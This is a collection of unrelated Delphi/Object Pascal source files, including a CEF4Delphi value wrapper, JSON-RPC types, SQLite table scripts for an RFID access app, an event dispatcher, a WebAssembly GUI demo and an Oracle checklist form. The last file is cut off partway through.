// The original license of DCEF3 still applies to CEF4Delphi.
//
// For more information about CEF4Delphi visit :
// https://www.briskbard.com/index.php?lang=en&pageid=cef
//
// Copyright © 2017 Salvador Díaz Fau. All rights reserved.
//
// ************************************************************************
// ************ vvvv Original license and comments below vvvv *************
// ************************************************************************
(*
* Delphi Chromium Embedded 3
*
* Usage allowed under the restrictions of the Lesser GNU General Public License
* or alternatively the restrictions of the Mozilla Public License 1.1
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for
* the specific language governing rights and limitations under the License.
*
* Unit owner : Henri Gourvest <hgourvest@gmail.com>
* Web site : http://www.progdigy.com
* Repository : http://code.google.com/p/delphichromiumembedded/
* Group : http://groups.google.com/group/delphichromiumembedded
*
* Embarcadero Technologies, Inc is not permitted to use or redistribute
* this source code without explicit permission.
*
*)
unit uCEFValue;
{$IFNDEF CPUX64}
{$ALIGN ON}
{$MINENUMSIZE 4}
{$ENDIF}
{$I cef.inc}
interface
uses
uCEFBaseRefCounted, uCEFInterfaces, uCEFTypes;
type
TCefValueRef = class(TCefBaseRefCountedRef, ICefValue)
protected
function IsValid: Boolean;
function IsOwned: Boolean;
function IsReadOnly: Boolean;
function IsSame(const that: ICefValue): Boolean;
function IsEqual(const that: ICefValue): Boolean;
function Copy: ICefValue;
function GetType: TCefValueType;
function GetBool: Boolean;
function GetInt: Integer;
function GetDouble: Double;
function GetString: ustring;
function GetBinary: ICefBinaryValue;
function GetDictionary: ICefDictionaryValue;
function GetList: ICefListValue;
function SetNull: Boolean;
function SetBool(value: Integer): Boolean;
function SetInt(value: Integer): Boolean;
function SetDouble(value: Double): Boolean;
function SetString(const value: ustring): Boolean;
function SetBinary(const value: ICefBinaryValue): Boolean;
function SetDictionary(const value: ICefDictionaryValue): Boolean;
function SetList(const value: ICefListValue): Boolean;
public
class function UnWrap(data: Pointer): ICefValue;
class function New: ICefValue;
end;
implementation
uses
uCEFMiscFunctions, uCEFLibFunctions, uCEFBinaryValue, uCEFListValue, uCEFDictionaryValue;
function TCefValueRef.Copy: ICefValue;
begin
Result := UnWrap(PCefValue(FData).copy(FData));
end;
function TCefValueRef.GetBinary: ICefBinaryValue;
begin
Result := TCefBinaryValueRef.UnWrap(PCefValue(FData).get_binary(FData));
end;
function TCefValueRef.GetBool: Boolean;
begin
Result := PCefValue(FData).get_bool(FData) <> 0;
end;
function TCefValueRef.GetDictionary: ICefDictionaryValue;
begin
Result := TCefDictionaryValueRef.UnWrap(PCefValue(FData).get_dictionary(FData));
end;
function TCefValueRef.GetDouble: Double;
begin
Result := PCefValue(FData).get_double(FData);
end;
function TCefValueRef.GetInt: Integer;
begin
Result := PCefValue(FData).get_int(FData);
end;
function TCefValueRef.GetList: ICefListValue;
begin
Result := TCefListValueRef.UnWrap(PCefValue(FData).get_list(FData));
end;
function TCefValueRef.GetString: ustring;
begin
Result := CefStringFreeAndGet(PCefValue(FData).get_string(FData));
end;
function TCefValueRef.GetType: TCefValueType;
begin
Result := PCefValue(FData).get_type(FData);
end;
function TCefValueRef.IsEqual(const that: ICefValue): Boolean;
begin
Result := PCefValue(FData).is_equal(FData, CefGetData(that)) <> 0;
end;
function TCefValueRef.IsOwned: Boolean;
begin
Result := PCefValue(FData).is_owned(FData) <> 0;
end;
function TCefValueRef.IsReadOnly: Boolean;
begin
Result := PCefValue(FData).is_read_only(FData) <> 0;
end;
function TCefValueRef.IsSame(const that: ICefValue): Boolean;
begin
Result := PCefValue(FData).is_same(FData, CefGetData(that)) <> 0;
end;
function TCefValueRef.IsValid: Boolean;
begin
Result := PCefValue(FData).is_valid(FData) <> 0;
end;
class function TCefValueRef.New: ICefValue;
begin
Result := UnWrap(cef_value_create());
end;
function TCefValueRef.SetBinary(const value: ICefBinaryValue): Boolean;
begin
Result := PCefValue(FData).set_binary(FData, CefGetData(value)) <> 0;
end;
function TCefValueRef.SetBool(value: Integer): Boolean;
begin
Result := PCefValue(FData).set_bool(FData, value) <> 0;
end;
function TCefValueRef.SetDictionary(const value: ICefDictionaryValue): Boolean;
begin
Result := PCefValue(FData).set_dictionary(FData, CefGetData(value)) <> 0;
end;
function TCefValueRef.SetDouble(value: Double): Boolean;
begin
Result := PCefValue(FData).set_double(FData, value) <> 0;
end;
function TCefValueRef.SetInt(value: Integer): Boolean;
begin
Result := PCefValue(FData).set_int(FData, value) <> 0;
end;
function TCefValueRef.SetList(const value: ICefListValue): Boolean;
begin
Result := PCefValue(FData).set_list(FData, CefGetData(value)) <> 0;
end;
function TCefValueRef.SetNull: Boolean;
begin
Result := PCefValue(FData).set_null(FData) <> 0;
end;
function TCefValueRef.SetString(const value: ustring): Boolean;
var
s: TCefString;
begin
s := CefString(value);
Result := PCefValue(FData).set_string(FData, @s) <> 0;
end;
class function TCefValueRef.UnWrap(data: Pointer): ICefValue;
begin
if data <> nil then
Result := Create(data) as ICefValue else
Result := nil;
end;
end.
|
{*****************************************************************}
{ ceostypes is part of Ceos middleware/n-tier JSONRPC components }
{ }
{ Beta version }
{ }
{ This library is distributed in the hope that it will be useful, }
{ but WITHOUT ANY WARRANTY; without even the implied warranty of }
{ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. }
{ }
{ by Jose Benedito - josebenedito@gmail.com }
{ www.jbsolucoes.net }
{*****************************************************************}
unit ceostypes;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, variants, fpjson, jsonparser;
type
TCeosArgsType = array of variant;
{ TCeosRequestContent }
TCeosRequestContent = class(TJSONObject)
private
FParams: TJSONArray;
function GetArgs: TJSONArray;
function GetID: integer;
function GetMethod: string;
procedure SetID(AValue: integer);
procedure SetMethod(AValue: string);
public
constructor create;
destructor destroy; override;
property ID: integer read GetID write SetID;
property Method: string read GetMethod write SetMethod;
property Args: TJSONArray read GetArgs;
end;
{ TCeosResponseContent }
TCeosResponseContent = class(TJSONObject)
private
function GetID: integer;
function GetResult: TJSONData;
function GetVersion: string;
procedure SetID(AValue: integer);
procedure SetResult(AValue: TJSONData);
procedure SetVersion(AValue: string);
public
procedure SetResultContent(const AResult: TJSONData; const AID: integer);
constructor Create;
destructor Destroy; override;
property ID: integer read GetID write SetID;
property ResultContent: TJSONData read GetResult write SetResult;
property Version: string read GetVersion write SetVersion;
end;
function GetVariantType(const v: variant): string;
function GetJSONArray(AArray: array of variant): TJSONArray;
//default jsonrpc result response
function JSONRPCResult(const AResult: TJSONData; const AID: integer = -1): TCeosResponseContent;
//default jsonrpc error response
function JSONRPCError(const ACode: integer; const AMessage: string; AID: integer = -1): TCeosResponseContent;
implementation
uses ceosconsts;
function JSONRPCResult(const AResult: TJSONData; const AID: integer = -1): TCeosResponseContent;
var
joResult: TCeosResponseContent;
//s: string;
begin
joResult := TCeosResponseContent.create;
joResult.Version := JSONRPC_VERSION;
joResult.ResultContent := AResult;
joResult.ID := AID;
result := joResult;
//s := joResult.AsJSON;
//s := '';
end;
function JSONRPCError(const ACode: integer; const AMessage: string; AID: integer = -1): TCeosResponseContent;
var
jsonerror: TJSONObject;
joResult: TCeosResponseContent;
begin
jsonerror := TJSONObject.Create();
(jsonerror as TJSONObject).Add('code',ACode);
(jsonerror as TJSONObject).Add('message',AMessage);
joResult := TCeosResponseContent.create;
//joResult.Add('jsonrpc',JSONRPC_VERSION);
joResult.Add('error',jsonerror);
joResult.ID := AID;
result := joResult;
end;
function GetVariantType(const v: variant): string;
begin
case TVarData(v).vType of
varEmpty: result := 'Empty';
varNull: result := 'Null';
varSmallInt: result := 'SmallInt';
varInteger: result := 'Integer';
varSingle: result := 'Single';
varDouble: result := 'Double';
varCurrency: result := 'Currency';
varDate: result := 'Date';
varOleStr: result := 'OleStr';
varDispatch: result := 'Dispatch';
varError: result := 'Error';
varBoolean: result := 'Boolean';
varVariant: result := 'Variant';
varUnknown: result := 'Unknown';
varByte: result := 'Byte';
varString: result := 'String';
varTypeMask: result := 'TypeMask';
varArray: result := 'Array';
varByRef: result := 'ByRef';
end; // case
end;
function GetJSONArray(AArray: array of variant): TJSONArray;
var
joArray: TJSONArray;
i, iLen: integer;
vtype: tvartype;
begin
joArray := TJSONArray.create;
iLen := High(AArray);
for i := 0 to iLen do
begin
vtype := TVarData(AArray[i]).vType;
case vtype of
varEmpty: joArray.Add('');
varNull: joArray.Add;
varSmallInt: joArray.Add(integer(AArray[i]));
varshortint: joArray.Add(integer(AArray[i]));
varInteger: joArray.Add(integer(AArray[i]));
varSingle: joArray.Add(integer(AArray[i]));
varDouble: joArray.Add(TJSONFloat(AArray[i]));
varCurrency: joArray.Add(TJSONFloat(AArray[i]));
varDate: joArray.Add(datetostr(AArray[i]));
varOleStr: joArray.Add(string(AArray[i]));
varDispatch: joArray.Add(string(AArray[i]));
varError: joArray.Add('error');
varBoolean: joArray.Add(boolean(AArray[i]));
varVariant: joArray.Add(string(AArray[i]));
varUnknown: joArray.Add(string(AArray[i]));
varByte: joArray.Add(integer(AArray[i]));
varString: joArray.Add(string(AArray[i]));
varTypeMask: joArray.Add(string(AArray[i]));
varArray: joArray.Add(GetJSONArray(AArray[i]));
varByRef: joArray.Add(integer(AArray[i]));
end;
end;
result := joArray;
end;
{ TCeosResponseContent }
function TCeosResponseContent.GetID: integer;
begin
{$WARNINGS OFF}
if TJSONObject(Self).Find('id') <> nil then
result := TJSONObject(Self).Find('id').AsInteger
else
result := -1;
{$WARNINGS ON}
end;
function TCeosResponseContent.GetResult: TJSONData;
begin
{$WARNINGS OFF}
if TJSONObject(Self).Find('result') <> nil then
result := TJSONObject(Self).Find('result')
else
result := nil;
{$WARNINGS ON}
end;
function TCeosResponseContent.GetVersion: string;
begin
{$WARNINGS OFF}
if TJSONObject(Self).Find('jsonrpc') <> nil then
result := TJSONObject(Self).Find('jsonrpc').AsString
else
result := JSONRPC_VERSION;
{$WARNINGS ON}
end;
procedure TCeosResponseContent.SetID(AValue: integer);
begin
{$WARNINGS OFF}
if TJSONObject(Self).Find('id') <> nil then
TJSONObject(Self).Find('id').AsInteger := AValue
else
TJSONObject(Self).Add('id',AValue);
{$WARNINGS ON}
end;
procedure TCeosResponseContent.SetResult(AValue: TJSONData);
begin
{$WARNINGS OFF}
if TJSONObject(Self).Find('result') <> nil then
TJSONObject(Self).Delete('result');
TJSONObject(Self).Add('result',AValue);
//TJSONObject(Self).Add('result',AValue as TJSONObject);
{$WARNINGS ON}
end;
procedure TCeosResponseContent.SetVersion(AValue: string);
begin
{$WARNINGS OFF}
if TJSONObject(Self).Find('jsonrpc') <> nil then
TJSONObject(Self).Find('jsonrpc').AsString := AValue
else
TJSONObject(Self).Add('jsonrpc',AValue);
{$WARNINGS ON}
end;
procedure TCeosResponseContent.SetResultContent(const AResult: TJSONData;
const AID: integer);
begin
Self.Clear;
Self.Version := JSONRPC_VERSION;
Self.ResultContent := AResult;
Self.ID := AID;
end;
constructor TCeosResponseContent.Create;
begin
inherited Create;
Self.Version := JSONRPC_VERSION;
Self.ID := 0;
end;
destructor TCeosResponseContent.Destroy;
begin
inherited Destroy;
end;
{ TCeosRequestContent }
function TCeosRequestContent.GetArgs: TJSONArray;
begin
if Find('params') <> nil then
result := (Find('params') as TJSONArray)
else
begin
FParams := TJSONArray.Create;
self.Add('params',FParams);
result := (Find('params') as TJSONArray);
end;
end;
function TCeosRequestContent.GetID: integer;
begin
if Self.Find('id') <> nil then
result := Self.Find('id').AsInteger
else
begin
Self.Add('id',0);
result := 0;
end;
end;
function TCeosRequestContent.GetMethod: string;
begin
if Self.Find('method') <> nil then
result := Self.Find('method').AsString
else
begin
Self.Add('method','');
result := '';
end;
end;
procedure TCeosRequestContent.SetID(AValue: integer);
begin
if Self.Find('id') <> nil then
Self.Find('id').AsInteger := AValue
else
Self.Add('id',AValue);
end;
procedure TCeosRequestContent.SetMethod(AValue: string);
begin
if Self.Find('method') <> nil then
Self.Find('method').AsString := AValue
else
Self.Add('method',AValue);
end;
constructor TCeosRequestContent.create;
begin
inherited create;
FParams := TJSONArray.create;
Self.Add('jsonrpc',JSONRPC_VERSION);
Self.Add('method','');
Self.Add('params',FParams);
Self.Add('id',0);
end;
destructor TCeosRequestContent.destroy;
begin
inherited destroy;
end;
end.
|
{ ============================================
Software Name : RFID_ACCESS
============================================ }
{ ******************************************** }
{ Written By WalWalWalides }
{ CopyRight © 2019 }
{ Email : WalWalWalides@gmail.com }
{ GitHub :https://github.com/walwalwalides }
{ ******************************************** }
unit UScript;
interface
uses FireDAC.Comp.Script;
procedure CreateTableAccessInfo;
procedure BuildTable;
procedure CreateTableAccessLog;
implementation
uses
MainModule;
procedure CreateData_Table;
var
tmpScript: TFDScript;
begin
tmpScript := TFDScript.Create(nil);
tmpScript.Connection := DMMainModule.SqlitConnection();
with tmpScript.SQLScripts do
begin
Clear;
with Add do
begin
Name := 'Data_Table';
SQL.Add('DROP TABLE IF EXISTS Data_Table ;');
SQL.Add('create table Data_Table(');
SQL.Add('Id INT NOT NULL AUTO_INCREMENT,');
SQL.Add('VTYPE INT,');
SQL.Add('KIND_ID INT,');
SQL.Add('PRIMARY KEY ( Id )');
SQL.Add(');');
end;
end;
try
tmpScript.ValidateAll;
tmpScript.ExecuteAll;
finally
tmpScript.free;
end;
end;
procedure CreateTableAccessLog;
var
tmpScript: TFDScript;
begin
tmpScript := TFDScript.Create(nil);
tmpScript.Connection := DMMainModule.SqlitConnection();
with tmpScript.SQLScripts do
begin
Clear;
with Add do
begin
Name := 'Accesslog';
SQL.Add('CREATE TABLE IF NOT EXISTS Accesslog(');
SQL.Add('Id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,');
SQL.Add('UID VARCHAR(10) NOT NULL,');
SQL.Add('Enter DATETIME');
SQL.Add(');');
end;
end;
try
tmpScript.ValidateAll;
tmpScript.ExecuteAll;
finally
tmpScript.free;
end;
end;
procedure CreateTableAccessInfo;
var
tmpScript: TFDScript;
begin
tmpScript := TFDScript.Create(nil);
tmpScript.Connection := DMMainModule.SqlitConnection();
with tmpScript.SQLScripts do
begin
Clear;
with Add do
begin
Name := 'Access';
SQL.Add('CREATE TABLE IF NOT EXISTS AccessInfo(');
SQL.Add('Id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,');
SQL.Add('FirstName VARCHAR(255) NOT NULL,');
SQL.Add('LastName VARCHAR(255) NOT NULL,');
SQL.Add('UID VARCHAR(10) NOT NULL');
SQL.Add(');');
end;
end;
try
tmpScript.ValidateAll;
tmpScript.ExecuteAll;
finally
tmpScript.free;
end;
end;
procedure InsertTableAccess;
var
tmpScript: TFDScript;
begin
tmpScript := TFDScript.Create(nil);
tmpScript.Connection := DMMainModule.SqlitConnection();
with tmpScript.SQLScripts do
begin
Clear;
with Add do
begin
SQL.Add('INSERT INTO Access (Id,LastName,FirstName,Age,Present,ProfileImage)');
SQL.Add('VALUES');
SQL.Add('(1,"ALex","Alex",30,true,'');');
end;
end;
try
tmpScript.ValidateAll;
tmpScript.ExecuteAll;
finally
tmpScript.free;
end;
end;
procedure BuildTable;
begin
CreateTableAccessInfo;
CreateTableAccessLog;
// InsertTable;
// CreateData_Table;
end;
end.
|
unit ufrmDaftarCompetitor;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ufrmMasterBrowse, StdCtrls, ExtCtrls, ActnList, cxGraphics,
cxControls, cxLookAndFeels, cxLookAndFeelPainters, dxBarBuiltInMenu, cxStyles,
cxDataStorage, cxEdit, cxNavigator, Data.DB, cxDBData, cxContainer,
Vcl.ComCtrls, dxCore, cxDateUtils, Vcl.Menus, System.Actions,
ufraFooter4Button, cxButtons, cxTextEdit, cxMaskEdit, cxDropDownEdit,
cxCalendar, cxLabel, cxGridLevel, cxClasses, cxGridCustomView,
cxGridCustomTableView, cxGridTableView, cxGridDBTableView, cxGrid, cxPC,
Datasnap.DBClient, cxCustomData, cxFilter, cxData;
type
TfrmDaftarCompetitor = class(TfrmMasterBrowse)
actAddDaftarKompetitor: TAction;
actDeleteDaftarKompetitor: TAction;
actEditDaftarKompetitor: TAction;
actlstDaftarCompetitor: TActionList;
actRefreshDaftarKompetitor: TAction;
procedure actAddExecute(Sender: TObject);
procedure actEditExecute(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
FCDS: TClientDataSet;
property CDS: TClientDataSet read FCDS write FCDS;
public
procedure RefreshData; override;
end;
var
frmDaftarCompetitor: TfrmDaftarCompetitor;
implementation
uses
ufrmDialogDaftarKompetitor, uDBUtils, uDMClient, uDXUtils;
{$R *.dfm}
procedure TfrmDaftarCompetitor.actAddExecute(Sender: TObject);
begin
inherited;
ShowDialogForm(TfrmDialogDaftarKompetitor);
end;
procedure TfrmDaftarCompetitor.actEditExecute(Sender: TObject);
begin
inherited;
ShowDialogForm(TfrmDialogDaftarKompetitor, CDS.FieldByName('KOMPETITOR_ID').AsString);
end;
procedure TfrmDaftarCompetitor.FormDestroy(Sender: TObject);
begin
inherited;
frmDaftarCompetitor := nil;
end;
procedure TfrmDaftarCompetitor.RefreshData;
begin
inherited;
if Assigned(FCDS) then FreeAndNil(FCDS);
FCDS := TDBUtils.DSToCDS(DMClient.DSProviderClient.Kompetitor_GetDSOverview ,Self );
cxGridView.LoadFromCDS(CDS);
cxGridView.SetVisibleColumns(['KOMPETITOR_ID'],False);
end;
end.
|
unit NewFrontiers.Events;
interface
uses
Generics.Collections;
type
IEvent = interface
end;
TEvent = class(TInterfacedObject, IEvent)
protected
_propagationStopped: boolean;
public
property PropagationStopped: boolean read _propagationStopped;
end;
IEventListener = interface
function onEvent(aEvent: TEvent): boolean;
end;
TEventDispatcher = class
protected
_listeners: TObjectDictionary<string, TList<IEventListener>>;
constructor Create;
public
destructor Destroy; override;
/// <summary>
/// Singleton-Pattern
/// </summary>
class function getInstance(): TEventDispatcher;
/// <summary>
/// Adds an event listener that listens on the specified events
/// </summary>
/// <param name="aPrio">
/// The higher this value, the earlier an event * listener will be
/// triggered in the chain (defaults to 0)
/// </param>
procedure addListener(aEventName: string; aListener: IEventListener; aPrio: integer = 0);
/// <summary>
/// Removes an event listener from the specified events.
/// </summary>
procedure removeListener(aEventName: string; aListener: IEventListener);
/// <summary>
/// Gets the listeners of a specific event or all listeners.
/// </summary>
function getListeners(aEventName: string): TList<IEventListener>;
/// <summary>
/// Checks whether an event has any registered listeners.
/// </summary>
function hasListeners(aEventName: string): boolean;
/// <summary>
/// Dispatches an event to all registered listeners.
/// </summary>
/// <param name="aEventName">
/// The name of the event to dispatch. The name of * the event is the
/// name of the method that is * invoked on listeners.
/// </param>
/// <param name="aEvent">
/// The event to pass to the event handlers/listeners. * If not
/// supplied, an empty Event instance is created.
/// </param>
function dispatchEvent(aEventName: string; aEvent: TEvent = nil): TEvent;
end;
implementation
var _instance: TEventDispatcher;
{ TEventDispatcher }
procedure TEventDispatcher.addListener(aEventName: string;
aListener: IEventListener; aPrio: integer);
var
newListenerList: TList<IEventListener>;
begin
// TODO: aPrio not supported at the moment
if (not _listeners.ContainsKey(aEventName)) then
begin
newListenerList := TList<IEventListener>.Create();
_listeners.Add(aEventName, newListenerList);
end;
_listeners[aEventName].Add(aListener);
end;
constructor TEventDispatcher.Create;
begin
_listeners := TObjectDictionary<string, TList<IEventListener>>.Create();
end;
destructor TEventDispatcher.Destroy;
begin
inherited;
_listeners.Free;
end;
function TEventDispatcher.dispatchEvent(aEventName: string; aEvent: TEvent = nil): TEvent;
var
eventListener: IEventListener;
begin
if (aEvent = nil) then aEvent := TEvent.Create;
result := aEvent;
if (not _listeners.ContainsKey(aEventName)) then
exit;
for eventListener in getListeners(aEventName) do
begin
eventListener.onEvent(aEvent);
if (aEvent.PropagationStopped) then
Break;
end;
end;
class function TEventDispatcher.getInstance: TEventDispatcher;
begin
if (_instance = nil) then
begin
_instance := TEventDispatcher.Create;
end;
result := _instance;
end;
function TEventDispatcher.getListeners(
aEventName: string): TList<IEventListener>;
begin
result := _listeners[aEventName];
end;
function TEventDispatcher.hasListeners(aEventName: string): boolean;
begin
result := (getListeners(aEventName) <> nil) and (getListeners(aEventName).Count > 0);
end;
procedure TEventDispatcher.removeListener(aEventName: string;
aListener: IEventListener);
begin
getListeners(aEventName).Remove(aListener);
end;
end.
|
unit InterfaceFuncionarioModel;
interface
type
IFuncionarioModel = interface(IInterface)
['{F24F26C1-9B71-4281-AC95-7841FA65CE2F}']
function GetNome(): String; stdcall;
function GetSalarioBase(): Double; stdcall;
function GetAliquotaComissao(): Double; stdcall;
function CalcularSalario(const pFaturamentoMes: Double): Double; stdcall;
property Nome: String read GetNome;
property SalarioBase: Double read GetSalarioBase;
property AliquotaComissao: Double read GetAliquotaComissao;
end;
implementation
end.
|
namespace Basic_WebAssembly_GUI_Controls_App;
uses
RemObjects.Elements.RTL.Delphi, RemObjects.Elements.RTL.Delphi.VCL;
type
[Export]
Program = public class
private
fProgress: TProgressBar;
public
method HelloWorld;
begin
CreateComponents;
end;
method CreateComponents;
begin
Application := new TApplication(nil);
Application.Initialize;
Application.Run;
var el := Browser.GetElementById('helloWorld');
var lForm := new TForm(nil);
lForm.Width := 800;
// el it's a div element in html file, we are using as container for our form
lForm.Show(el);
var lFontsPanel := new TPanel(lForm);
lFontsPanel.Height := 150;
lFontsPanel.Width := 800;
lFontsPanel.Parent := lForm;
var lFontsCombo := new TComboBox(lForm);
lFontsCombo.Left := 30;
lFontsCombo.Top := 50;
lFontsCombo.Width := 130;
// Add combo inside TPanel
lFontsCombo.Parent := lFontsPanel;
lFontsCombo.Items.Add('Arial');
lFontsCombo.Items.Add('Verdana');
lFontsCombo.Items.Add('Helvetica');
lFontsCombo.Items.Add('Times');
var lFontSize := new TComboBox(lForm);
lFontSize.Left := 200;
lFontSize.Top := 50;
lFontSize.Width := 80;
lFontSize.Parent := lFontsPanel;
for i: Integer := 8 to 72 step 4 do
lFontSize.Items.Add(i.ToString());
var lLabel := new TLabel(lForm);
lLabel.Left := 320;
lLabel.Top := 50;
lLabel.Caption := 'Choose font name and size!';
lLabel.Parent := lFontsPanel;
// Assign combo events
lFontsCombo.OnSelect := (a)-> begin lLabel.Font.Name := lFontsCombo.Text; end;
lFontSize.OnSelect := (a)-> begin lLabel.Font.Size := StrToInt(lFontSize.Text) end;
var lSecondPanel := new TPanel(lForm);
lSecondPanel.Top := 220;
lSecondPanel.Height := 150;
lSecondPanel.Width := 800;
lSecondPanel.Parent := lForm;
var lCheckBox := new TCheckBox(lForm);
lCheckBox.Top := 20;
lCheckBox.Left := 30;
lCheckBox.Caption := 'CheckBox control';
lCheckBox.Parent := lSecondPanel;
var lRadioButton := new TRadioButton(lForm);
lRadioButton.Top := 80;
lRadioButton.Left := 30;
lRadioButton.Caption := 'RadioButton control';
lRadioButton.Parent := lSecondPanel;
var lChangeButton := new TButton(lForm);
lChangeButton.Left := 220;
lChangeButton.Top := 20;
lChangeButton.Caption := 'Change progress bar mode';
lChangeButton.Parent := lSecondPanel;
lChangeButton.OnClick := @ChangeButtonClick;
var lIncButton := new TButton(lForm);
lIncButton.Left := 220;
lIncButton.Top := 80;
lIncButton.Caption := 'Increase progress bar value';
lIncButton.Parent := lSecondPanel;
lIncButton.OnClick := (a) -> begin fProgress.Position := fProgress.Position + 5; if fProgress.Position >= fProgress.Max then fProgress.Position := 0; end;
fProgress := new TProgressBar(lForm);
fProgress.Top := 55;
fProgress.Left := 420;
fProgress.Max := 100;
fProgress.Parent := lSecondPanel;
end;
method ChangeButtonClick(Sender: TObject);
begin
if fProgress.Style = TProgressBarStyle.Marquee then
fProgress.Style := TProgressBarStyle.Normal
else
fProgress.Style := TProgressBarStyle.Marquee;
end;
end;
end. |
unit CheckList;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
uCommonForm, StdCtrls, Buttons, ExtCtrls, Grids, DBGridEh, Db, DBTables,
MemTable, MemDS, DBAccess, Ora, Math, uOilQuery;
type
TCheckListForm = class(TCommonForm)
Panel2: TPanel;
Panel3: TPanel;
bbOk: TBitBtn;
bbCancel: TBitBtn;
Panel1: TPanel;
db: TDBGridEh;
Label1: TLabel;
edSearch: TEdit;
sbClearSearch: TSpeedButton;
ds: TDataSource;
sbCheckAll: TSpeedButton;
SpeedButton4: TSpeedButton;
q: TOilQuery;
qPartRashPvl: TOilQuery;
qTank: TOilQuery;
procedure sbCheckAllClick(Sender: TObject);
procedure qFilterRecord(DataSet: TDataSet; var Accept: Boolean);
procedure edSearchChange(Sender: TObject);
procedure sbClearSearchClick(Sender: TObject);
procedure Init(
p_Caption,p_Sql,p_MainField,p_Invisible,p_ColCaptions: string;
p_FilterList: string = '');
private
{ Private declarations }
MAIN_FIELD: string;
FILTER_LIST: string;
public
{ Public declarations }
end;
var
CheckListForm: TCheckListForm;
procedure ChooseTankList(
p_Date: TDateTime;
p_ZrId,p_ZrInst,p_NpType: integer;
p_GtdId,p_GtdInst: integer;
p_FilterList: string;
pp_MT: TMemoryTable);
procedure ChoosePartRashPvlList(
p_Date: TDateTime;
p_FromId,p_FromInst: integer;
p_ToId,p_ToInst: integer;
p_NpType: integer;
pp_MT: TMemoryTable);
implementation
{$R *.DFM}
uses uStart,UDbFunc, ExFunc;
{ TCheckListForm }
//==============================================================================
procedure TCheckListForm.Init(
p_Caption,p_Sql,p_MainField,p_Invisible,p_ColCaptions: string;
p_FilterList: string = '');
var
i,n: integer;
sl: TStringList;
begin
Caption:=p_Caption;
MAIN_FIELD:=p_MainField;
FILTER_LIST:=p_FilterList;
if q.Active then q.Close;
q.Sql.Text:=p_Sql;
q.Prepare;
if q.FieldList.Find('CHECKED')=nil then begin
q.Unprepare;
q.Sql.Text:='select 1 as checked, q.* from ('+p_Sql+') q';
q.Prepare;
end;
_OpenQueryOra(q);
db.Columns[0].Checkboxes:=true;
db.Columns[0].Width:=20;
db.Columns[0].Title.Caption:=' ';
db.Columns[0].KeyList.Add('1');
db.Columns[0].KeyList.Add('0');
for i:=1 to db.Columns.Count-1 do
db.Columns[i].Visible:=pos(','+db.Columns[i].FieldName+',',','+UpperCase(p_Invisible)+',')=0;
sl:=TStringList.Create;
Str2StringList(p_Colcaptions,sl);
n:=0;
for i:=1 to db.Columns.Count-1 do begin
if n>=sl.Count then break;
if db.Columns[i].Visible then begin
db.Columns[i].Title.Caption:=sl[n];
inc(n);
end;
end;
sl.Free;
for i:=1 to q.Fields.Count-1 do
q.Fields[i].ReadOnly:=true;
if (MAIN_FIELD<>'') and (FILTER_LIST<>'') then q.Filtered:=true;
end;
//==============================================================================
procedure TCheckListForm.sbCheckAllClick(Sender: TObject);
var bm: string;
begin
bm:=q.Bookmark;
q.DisableControls;
q.First;
while not q.Eof do begin
q.Edit;
q.FieldByName('checked').Value:=(Sender as TSpeedButton).Tag;
q.Post;
q.Next;
end;
q.EnableControls;
q.Bookmark:=bm;
end;
//==============================================================================
procedure TCheckListForm.qFilterRecord(DataSet: TDataSet;
var Accept: Boolean);
begin
inherited;
if (MAIN_FIELD<>'') and (FILTER_LIST<>'') then
Accept:=pos(','+q.FieldByName(MAIN_FIELD).AsString+',',','+FILTER_LIST+',')=0
else
Accept:=true;
end;
//==============================================================================
procedure TCheckListForm.edSearchChange(Sender: TObject);
begin
if edSearch.Text='' then exit;
q.DisableControls;
q.First;
while not q.Eof and (q.FieldByName(MAIN_FIELD).AsString<edSearch.Text) do
q.Next;
if copy(q.FieldByName(MAIN_FIELD).AsString,1,length(edSearch.Text))=edSearch.Text then
edSearch.Font.Color:=clBlack
else
edSearch.Font.Color:=clRed;
q.EnableControls;
end;
//==============================================================================
procedure TCheckListForm.sbClearSearchClick(Sender: TObject);
begin
inherited;
edSearch.Clear;
end;
//==============================================================================
procedure ChooseTankList(
p_Date: TDateTime;
p_ZrId,p_ZrInst,p_NpType: integer;
p_GtdId,p_GtdInst: integer;
p_FilterList: string;
pp_MT: TMemoryTable);
var
F: TCheckListForm;
sql: string;
begin
F:=TCheckListForm.Create(Application);
DefineQParamsOra(F.qTank,
['date_', p_Date,
'zr_id', p_ZrId,
'zr_inst', p_ZrInst,
'np_type', p_NpType,
'gtd_id', p_GtdId,
'gtd_inst', p_GtdInst]);
sql:=FullSqlTextOra(F.qTank);
F.Init(TranslateText('Цистерны'),sql,'tank_num',
'ID,INST,STATE,ZR_ID,ZR_INST,TANK_TYPE,DENSITY,TEMPERATURE,DATE_MOD,TANK_TYPE_NAME,NP_TYPE_NAME,NP_GRP,NP_GRP_NAME,RNUM',
TranslateText('№ цистерны,ЖД накладная,Тип НП,НП брутто,Вода тонн'),
p_FilterList);
F.db.FooterRowCount:=1;
F.db.sumlist.Active:=true;
F.db.Columns[1].Footer.Value:=TranslateText('Итого');
F.db.Columns[1].Footer.ValueType:=fvtStaticText;
F.db.Columns[2].Footer.ValueType:=fvtCount;
F.db.Columns[4].Footer.DisplayFormat:='0.000';
F.db.Columns[4].Footer.FieldName:='FULL_COUNT';
F.db.Columns[4].Footer.ValueType:=fvtSum;
F.db.Columns[5].Footer.DisplayFormat:='0.000';
F.db.Columns[5].Footer.FieldName:='WATER_COUNT';
F.db.Columns[5].Footer.ValueType:=fvtSum;
if F.ShowModal=mrOk then begin
CopyToMemoryTable(F.q,pp_MT,
'tank_num,tank_type,zd_nakl,density,temperature,'+
'full_count:zavod_count,full_count,water_count,level_mm,pv,tank_type_name,np_type_name,np_type,'+
'zrd_id,zrd_inst',
'checked','1',false);
end;
F.Free;
end;
//==============================================================================
procedure ChoosePartRashPvlList(
p_Date: TDateTime;
p_FromId,p_FromInst: integer;
p_ToId,p_ToInst: integer;
p_NpType: integer;
pp_MT: TMemoryTable);
var
F: TCheckListForm;
sql: string;
begin
F:=TCheckListForm.Create(Application);
DefineQParamsOra(F.qPartRashPvl,
